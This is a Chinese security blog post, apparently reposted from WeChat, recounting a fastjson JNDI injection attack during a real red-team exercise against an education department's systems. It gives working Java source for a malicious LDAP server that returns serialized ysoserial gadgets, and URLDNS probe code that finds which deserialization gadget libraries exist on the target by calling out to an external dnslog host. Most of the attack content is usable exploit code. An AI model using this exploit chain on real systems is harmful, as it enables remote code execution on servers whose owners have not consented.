实战中一次fastjson的jndi的tips

admin 2025年2月15日23:09:50评论8 views字数 6170阅读20分34秒阅读模式

0x01、前言

这是几天前的一次的一个教育厅hw,我朋友叫我帮忙看一下。一般实战我都是直接打,遇到问题就丢了。然后这次的问题则是jndi请求vps的class恶意文件,发现会提示jndi无法连接。这时候我也本地看一下,我发现本地正常。vps上的payload没问题,dnslog连接正常。然后把本地的jdk提高,发现出现一样的错误,则判断目标服务器jdk版本较高。目标环境跟本地不一样,还是无法利用,但是也是个tips

实战中一次fastjson的jndi的tips上图是实战情况,我接下来讲解则是本地例子(PS:本文的389端口不是我填写错了,我只是排查看是不是ldap或者端口被拦截了)

0x02、JNDI高版本绕过

RMI:JDK 8u113、JDK 7u122、JDK 6u132 起 codebase 默认为 true LDAP:JDK 11.0.1、JDK 8u191、JDK 7u201、JDK 6u211 起 codebase 默认为 true

由于在高版本 JDK 中 codebase 默认为 true 就导致客户端无法请求未受信任的远程Server上的 class。

实战中一次fastjson的jndi的tips

实战中一次fastjson的jndi的tips这是失败的,那么利用LDAP直接返回一个恶意的序列化对象,这样JNDI注入对该对象进行反序列化操作,利用本地反序列化Gadget完成命令执行。参考文章:https://blog.csdn.net/weixin_45682070/article/details/122622236 http://wjlshare.com/archives/1661

这边我们就以木头师傅的payload来搭建吧

import java.net.InetAddress;  import java.net.MalformedURLException;  import java.text.ParseException;  import javax.net.ServerSocketFactory;  import javax.net.SocketFactory;  import javax.net.ssl.SSLSocketFactory;  import com.unboundid.ldap.listener.InMemoryDirectoryServer;  import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;  import com.unboundid.ldap.listener.InMemoryListenerConfig;  import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;  import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;  import com.unboundid.ldap.sdk.Entry;  import com.unboundid.ldap.sdk.LDAPException;  import com.unboundid.ldap.sdk.LDAPResult;  import com.unboundid.ldap.sdk.ResultCode;  import com.unboundid.util.Base64;  public class HackerLdapServer {      private static final String LDAP_BASE = "dc=example,dc=com";      public static void main ( String[] args ) {          int port = 1389;          try {              InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);              config.setListenerConfigs(new InMemoryListenerConfig(                      "listen", //$NON-NLS-1$                      InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$                      port,                      ServerSocketFactory.getDefault(),                      SocketFactory.getDefault(),                      (SSLSocketFactory) SSLSocketFactory.getDefault()));              config.addInMemoryOperationInterceptor(new OperationInterceptor());              InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);              System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$              System.out.println("ldap://127.0.0.1:1389/Exploit");              ds.startListening();          }          catch ( Exception e ) {              e.printStackTrace();          }      }      // in this class remove the construct      private static class OperationInterceptor extends InMemoryOperationInterceptor {          @Override          public void processSearchResult ( InMemoryInterceptedSearchResult result ) {              String base = "Exploit";              Entry e = new Entry(base);              try {                  sendResult(result, base, e);              }              catch ( Exception e1 ) {                  e1.printStackTrace();              }          }          protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, ParseException {              e.addAttribute("javaClassName", "foo");              // java -jar ysoserial.jar CommonsCollections6 'calc'|base64              e.addAttribute("javaSerializedData", Base64.decode(""));              result.sendSearchEntry(e);              result.setResult(new LDAPResult(0, ResultCode.SUCCESS));          }      }  }

随后我挑个幸运儿的cc gadget去攻击,发现,没有任何反应。(PS:通过报错栈看到到有shiro框架,tomcat服务器)。还是需要先以urldns的gadget去尝试一番。当然,也可以自己搭建dnslog平台,这边我选择https://dig.pm/。

实战中一次fastjson的jndi的tips

实战中一次fastjson的jndi的tips获得到数据base64字符串,我们直接贴到代码中即可。我这边选择上传jar包形式去进行启动ldap服务。当然,也可以javac,java一条条执行,也可以自己改写一下工具。有点麻烦,同时笔者使用本地环境演示,就直接本地起下这个ldap服务

实战中一次fastjson的jndi的tips

实战中一次fastjson的jndi的tips为了防止可能我不经意间的误报,我们可以选择get results后,再发下fastjson的poc

实战中一次fastjson的jndi的tips既然urlnds的gadget可以被执行,那么我们就可以思考下会存在什么gadget。第一个是看报错信息去查看存在什么组件进行盲打。但是效率慢,容易被捕获到攻击。那么还有一种办法

0x03、探测服务端的gadget

这个tips来自珂字辈师傅的一篇文章,然而珂字辈师傅师傅来自于c0ny1师傅tips。这边我参考的是珂字辈师傅的文章:https://mp.weixin.qq.com/s/p_mBiEhXuHa11usHPzHlEA原理的话笔者就一笔带过,urldns中有hashMap.put(url, "111")。而这个value则为字符串。但是这个value还可以放类名,如果目标服务器不存在这个类,则不会发起dnslog请求。这里我们就直接copy下师傅的代码吧

package org.example;  import java.io.*;  import java.lang.reflect.Field;  import java.net.URL;  import java.util.Base64;  import java.util.HashMap;  import java.util.LinkedList;  import java.util.List;  import javassist.ClassPool;  import javassist.CtClass;  public class test {      public static void main(String[] args) throws Exception {          String dnslog = "e7d894e2.dns.bypass.eu.org";          List<Object> list = new LinkedList<Object>();          //CommonsCollections1/3/5/6/7链,需要<=3.2.1版本,无法通过类判断这个小版本          HashMap cc31 = getURLDNSgadget("http://cc31."+dnslog, "org.apache.commons.collections.functors.ChainedTransformer");          HashMap cc32x = getURLDNSgadget("http://cc32x."+dnslog, "org.apache.commons.collections.buffer.BoundedBuffer");          list.add(cc31);          list.add(cc32x);          //CommonsCollections2/4链,需要4-4.0版本          HashMap cc4x = getURLDNSgadget("http://cc4x."+dnslog,  "org.apache.commons.collections4.functors.ChainedTransformer");          HashMap cc41 = getURLDNSgadget("http://cc41."+dnslog,  "org.apache.commons.collections4.FluentIterable");          list.add(cc4x);          list.add(cc41);          //CommonsBeanutils2链,serialVersionUID不同,1.7x-1.8x为-3490850999041592962,1.9x为-2044202215314119608          HashMap cb18x = getURLDNSgadget("http://cb18x."+dnslog, "org.apache.commons.beanutils.BeanComparator");          HashMap cb19x = getURLDNSgadget("http://cb19x."+dnslog, "org.apache.commons.beanutils.BeanIntrospectionData");          list.add(cb18x);          list.add(cb19x);          //c3p0,serialVersionUID不同,0.9.2pre2-0.9.5pre8为7387108436934414104,0.9.5pre9-0.9.5.5为7387108436934414104          HashMap c3p092x = getURLDNSgadget("http://c3p092x."+dnslog, "com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");          HashMap c3p095x = getURLDNSgadget("http://c3p095x."+dnslog, "com.mchange.v2.c3p0.test.AlwaysFailDataSource");          list.add(c3p092x);          list.add(c3p095x);          //AspectJWeaver,需要cc31          HashMap ajw = getURLDNSgadget("http://ajw."+dnslog, "org.aspectj.weaver.tools.cache.SimpleCache");          list.add(ajw);          ByteArrayOutputStream out = new ByteArrayOutputStream();          ObjectOutputStream os = new ObjectOutputStream(out);          os.writeObject(list);          System.out.println(Base64.getEncoder().encodeToString(out.toByteArray()));          ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.ser"));          oos.writeObject(list);          ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.ser"));          ois.readObject();      }      public static HashMap getURLDNSgadget(String urls, String clazzName) throws Exception{          HashMap hashMap = new HashMap();          URL url = new URL(urls);          Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");          f.setAccessible(true);          f.set(url, 0);          hashMap.put(url, makeClass(clazzName));          f.set(url, -1);          return hashMap;      }      public static Class makeClass(String clazzName) throws Exception{          ClassPool classPool = ClassPool.getDefault();          CtClass ctClass = classPool.makeClass(clazzName);          Class clazz = ctClass.toClass();          ctClass.defrost();          return clazz;      }  }

实战中一次fastjson的jndi的tips我们如上面那样,将字符串丢进ldap服务中

实战中一次fastjson的jndi的tips如图,直接探测出存在的gadget,然后我们对对应的gadget进行base64编码,再次进行攻击。至于接下来的攻击就不演示了,步骤一样。

原文始发于微信公众号(某路人的sec):实战中一次fastjson的jndi的tips

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月15日23:09:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   实战中一次fastjson的jndi的tipshttp://cn-sec.com/archives/2158481.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息